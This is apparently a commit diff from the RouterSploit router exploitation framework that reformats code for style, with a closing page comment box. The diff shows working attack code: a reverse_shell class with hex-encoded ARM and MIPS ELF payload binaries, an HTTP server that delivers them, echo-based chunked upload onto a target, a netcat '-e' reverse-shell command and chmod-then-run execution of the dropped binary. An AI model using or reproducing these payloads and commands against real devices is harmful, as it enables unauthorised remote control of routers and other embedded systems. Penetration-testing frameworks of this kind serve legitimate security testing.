Commit 4e556a3f by fwkz

Fixing flake8 violations within core

parent 34297343
import socket import socket
import struct
import os
import telnetlib import telnetlib
import SimpleHTTPServer, BaseHTTPServer import SimpleHTTPServer
import time import BaseHTTPServer
import threading import threading
from base64 import b64decode
from routersploit.utils import ( from routersploit.utils import (
print_info, print_info,
...@@ -48,16 +45,18 @@ def shell(exploit, architecture="", method="", **params): ...@@ -48,16 +45,18 @@ def shell(exploit, architecture="", method="", **params):
class HttpRequestHandler(SimpleHTTPServer.SimpleHTTPRequestHandler): class HttpRequestHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
def do_GET (self): def do_GET(self):
self.send_response(200) self.send_response(200)
self.send_header('Content-type','text/html') self.send_header('Content-type', 'text/html')
self.end_headers() self.end_headers()
self.wfile.write(self.server.content) self.wfile.write(self.server.content)
self.server.stop = True self.server.stop = True
def log_message(self, format, *args): def log_message(self, format, *args):
return return
class HttpServer(BaseHTTPServer.HTTPServer): class HttpServer(BaseHTTPServer.HTTPServer):
def serve_forever(self, content): def serve_forever(self, content):
self.stop = False self.stop = False
...@@ -65,6 +64,7 @@ class HttpServer(BaseHTTPServer.HTTPServer): ...@@ -65,6 +64,7 @@ class HttpServer(BaseHTTPServer.HTTPServer):
while not self.stop: while not self.stop:
self.handle_request() self.handle_request()
class reverse_shell(object): class reverse_shell(object):
arm = ( arm = (
# elf binary # elf binary
...@@ -154,7 +154,8 @@ class reverse_shell(object): ...@@ -154,7 +154,8 @@ class reverse_shell(object):
"\x73\x73\x5f\x65\x6e\x64\x5f\x5f\x00\x5f\x5f\x62\x73\x73\x5f\x73\x74\x61\x72\x74\x5f\x5f" "\x73\x73\x5f\x65\x6e\x64\x5f\x5f\x00\x5f\x5f\x62\x73\x73\x5f\x73\x74\x61\x72\x74\x5f\x5f"
"\x00\x5f\x5f\x62\x73\x73\x5f\x65\x6e\x64\x5f\x5f\x00\x5f\x73\x74\x61\x72\x74\x00\x5f\x5f" "\x00\x5f\x5f\x62\x73\x73\x5f\x65\x6e\x64\x5f\x5f\x00\x5f\x73\x74\x61\x72\x74\x00\x5f\x5f"
"\x62\x73\x73\x5f\x73\x74\x61\x72\x74\x00\x5f\x5f\x65\x6e\x64\x5f\x5f\x00\x5f\x65\x64\x61" "\x62\x73\x73\x5f\x73\x74\x61\x72\x74\x00\x5f\x5f\x65\x6e\x64\x5f\x5f\x00\x5f\x65\x64\x61"
"\x74\x61\x00\x5f\x65\x6e\x64\x00") "\x74\x61\x00\x5f\x65\x6e\x64\x00"
)
mipsel = ( mipsel = (
# elf binary # elf binary
...@@ -241,7 +242,8 @@ class reverse_shell(object): ...@@ -241,7 +242,8 @@ class reverse_shell(object):
"\x10\x00\xf1\xff\x00\x5f\x66\x64\x61\x74\x61\x00\x5f\x67\x70\x00\x5f\x5f\x73\x74\x61\x72" "\x10\x00\xf1\xff\x00\x5f\x66\x64\x61\x74\x61\x00\x5f\x67\x70\x00\x5f\x5f\x73\x74\x61\x72"
"\x74\x00\x5f\x66\x74\x65\x78\x74\x00\x5f\x73\x74\x61\x72\x74\x00\x5f\x5f\x62\x73\x73\x5f" "\x74\x00\x5f\x66\x74\x65\x78\x74\x00\x5f\x73\x74\x61\x72\x74\x00\x5f\x5f\x62\x73\x73\x5f"
"\x73\x74\x61\x72\x74\x00\x5f\x65\x64\x61\x74\x61\x00\x5f\x65\x6e\x64\x00\x5f\x66\x62\x73" "\x73\x74\x61\x72\x74\x00\x5f\x65\x64\x61\x74\x61\x00\x5f\x65\x6e\x64\x00\x5f\x66\x62\x73"
"\x73\x00") "\x73\x00"
)
mips = ( mips = (
# elf binary # elf binary
...@@ -328,7 +330,8 @@ class reverse_shell(object): ...@@ -328,7 +330,8 @@ class reverse_shell(object):
"\x10\x00\xff\xf1\x00\x5f\x66\x64\x61\x74\x61\x00\x5f\x67\x70\x00\x5f\x5f\x73\x74\x61\x72" "\x10\x00\xff\xf1\x00\x5f\x66\x64\x61\x74\x61\x00\x5f\x67\x70\x00\x5f\x5f\x73\x74\x61\x72"
"\x74\x00\x5f\x66\x74\x65\x78\x74\x00\x5f\x73\x74\x61\x72\x74\x00\x5f\x5f\x62\x73\x73\x5f" "\x74\x00\x5f\x66\x74\x65\x78\x74\x00\x5f\x73\x74\x61\x72\x74\x00\x5f\x5f\x62\x73\x73\x5f"
"\x73\x74\x61\x72\x74\x00\x5f\x65\x64\x61\x74\x61\x00\x5f\x65\x6e\x64\x00\x5f\x66\x62\x73" "\x73\x74\x61\x72\x74\x00\x5f\x65\x64\x61\x74\x61\x00\x5f\x65\x6e\x64\x00\x5f\x66\x62\x73"
"\x73\x00") "\x73\x00"
)
exploit = None exploit = None
arch = None arch = None
...@@ -381,7 +384,7 @@ class reverse_shell(object): ...@@ -381,7 +384,7 @@ class reverse_shell(object):
self.generate_binary(self.lhost, self.lport) self.generate_binary(self.lhost, self.lport)
# run http server # run http server
thread = threading.Thread(target = self.http_server, args=(self.lhost, self.lport)) thread = threading.Thread(target=self.http_server, args=(self.lhost, self.lport))
thread.start() thread.start()
# wget binary # wget binary
...@@ -418,8 +421,8 @@ class reverse_shell(object): ...@@ -418,8 +421,8 @@ class reverse_shell(object):
current = i * 30 current = i * 30
print_status("Transferring {}/{} bytes".format(current, len(self.revshell))) print_status("Transferring {}/{} bytes".format(current, len(self.revshell)))
block = self.revshell[current:current+30].encode('hex') block = self.revshell[current:current + 30].encode('hex')
block = "\\x" + "\\x".join(a+b for a,b in zip(block[::2], block[1::2])) block = "\\x" + "\\x".join(a + b for a, b in zip(block[::2], block[1::2]))
cmd = '$(echo -n -e "{}" >> {})'.format(block, path) cmd = '$(echo -n -e "{}" >> {})'.format(block, path)
self.exploit.execute(cmd) self.exploit.execute(cmd)
...@@ -444,10 +447,7 @@ class reverse_shell(object): ...@@ -444,10 +447,7 @@ class reverse_shell(object):
def netcat(self, binary, shell): def netcat(self, binary, shell):
# run reverse shell through netcat # run reverse shell through netcat
sock = self.listen(self.lhost, self.lport) sock = self.listen(self.lhost, self.lport)
cmd = "{} {} {} -e {}".format(binary, cmd = "{} {} {} -e {}".format(binary, self.lhost, self.lport, shell)
self.lhost,
self.lport,
shell)
self.exploit.execute(cmd) self.exploit.execute(cmd)
...@@ -456,11 +456,9 @@ class reverse_shell(object): ...@@ -456,11 +456,9 @@ class reverse_shell(object):
def execute_binary(self, location, binary_name): def execute_binary(self, location, binary_name):
path = "{}/{}".format(location, binary_name) path = "{}/{}".format(location, binary_name)
cmd = "chmod +x {}; {}; rm {}".format(path, cmd = "chmod +x {}; {}; rm {}".format(path, path, path)
path,
path)
thread = threading.Thread(target = self.exploit.execute, args=(cmd,)) thread = threading.Thread(target=self.exploit.execute, args=(cmd,))
thread.start() thread.start()
def listen(self, lhost, lport): def listen(self, lhost, lport):
......
import unittest import unittest
try:
import unittest.mock as mock
except ImportError:
import mock
from routersploit.test import RoutersploitTestCase from routersploit.test import RoutersploitTestCase
from routersploit.exploits import Exploit, Option, GLOBAL_OPTS from routersploit.exploits import Exploit, Option, GLOBAL_OPTS
...@@ -86,4 +81,3 @@ class OptionTest(RoutersploitTestCase): ...@@ -86,4 +81,3 @@ class OptionTest(RoutersploitTestCase):
if __name__ == '__main__': if __name__ == '__main__':
unittest.main() unittest.main()
...@@ -382,7 +382,8 @@ class RoutersploitInterpreterTest(RoutersploitTestCase): ...@@ -382,7 +382,8 @@ class RoutersploitInterpreterTest(RoutersploitTestCase):
mock.call('authors_desc'), mock.call('authors_desc'),
mock.call('\nReferences:'), mock.call('\nReferences:'),
mock.call('references_desc'), mock.call('references_desc'),
mock.call()] mock.call()
]
) )
@mock.patch('__builtin__.print') @mock.patch('__builtin__.print')
...@@ -395,8 +396,7 @@ class RoutersploitInterpreterTest(RoutersploitTestCase): ...@@ -395,8 +396,7 @@ class RoutersploitInterpreterTest(RoutersploitTestCase):
self.interpreter._show_info() self.interpreter._show_info()
self.assertEqual( self.assertEqual(
mock_print.mock_calls, mock_print.mock_calls,
[ [mock.call()]
mock.call()]
) )
@mock.patch('__builtin__.print') @mock.patch('__builtin__.print')
......
import unittest import unittest
import socket
try: try:
import unittest.mock as mock import unittest.mock as mock
......
...@@ -148,7 +148,8 @@ def stop_after(space_number): ...@@ -148,7 +148,8 @@ def stop_after(space_number):
class DummyFile(object): class DummyFile(object):
""" Mocking file object. Optimalization for the "mute" decorator. """ """ Mocking file object. Optimalization for the "mute" decorator. """
def write(self, x): pass def write(self, x):
pass
def mute(fn): def mute(fn):
...@@ -390,7 +391,7 @@ def pprint_dict_in_order(dictionary, order=None): ...@@ -390,7 +391,7 @@ def pprint_dict_in_order(dictionary, order=None):
prettyprint(rest_keys, dictionary[rest_keys]) prettyprint(rest_keys, dictionary[rest_keys])
def random_text(length, alph=string.ascii_letters+string.digits): def random_text(length, alph=string.ascii_letters + string.digits):
""" Random text generator. NOT crypto safe. """ Random text generator. NOT crypto safe.
Generates random text with specified length and alphabet. Generates random text with specified length and alphabet.
...@@ -460,25 +461,20 @@ def posix_shell(chan): ...@@ -460,25 +461,20 @@ def posix_shell(chan):
while(True): while(True):
r, w, e = select.select([chan, sys.stdin], [], []) r, w, e = select.select([chan, sys.stdin], [], [])
if(chan in r): if chan in r:
try: try:
x = unicode(chan.recv(1024)) x = unicode(chan.recv(1024))
if len(x) == 0:
if(len(x) == 0):
break break
sys.stdout.write(x) sys.stdout.write(x)
sys.stdout.flush() sys.stdout.flush()
except socket.timeout: except socket.timeout:
pass pass
if(sys.stdin in r): if sys.stdin in r:
x = sys.stdin.read(1) x = sys.stdin.read(1)
if len(x) == 0:
if(len(x) == 0):
break break
chan.send(x) chan.send(x)
finally: finally:
termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty) termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)
...@@ -532,4 +528,3 @@ def tokenize(token_specification, text): ...@@ -532,4 +528,3 @@ def tokenize(token_specification, text):
else: else:
column = mo.start() - line_start column = mo.start() - line_start
yield Token(kind, value, line_num, column, mo) yield Token(kind, value, line_num, column, mo)
...@@ -4,4 +4,4 @@ import pkg_resources ...@@ -4,4 +4,4 @@ import pkg_resources
defaults = 'file://' + pkg_resources.resource_filename(__name__, 'defaults.txt') defaults = 'file://' + pkg_resources.resource_filename(__name__, 'defaults.txt')
passwords = 'file://' + pkg_resources.resource_filename(__name__, 'passwords.txt') passwords = 'file://' + pkg_resources.resource_filename(__name__, 'passwords.txt')
usernames = 'file://' + pkg_resources.resource_filename(__name__, 'usernames.txt') usernames = 'file://' + pkg_resources.resource_filename(__name__, 'usernames.txt')
snmp = 'file://'+ pkg_resources.resource_filename(__name__, 'snmp.txt') snmp = 'file://' + pkg_resources.resource_filename(__name__, 'snmp.txt')
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment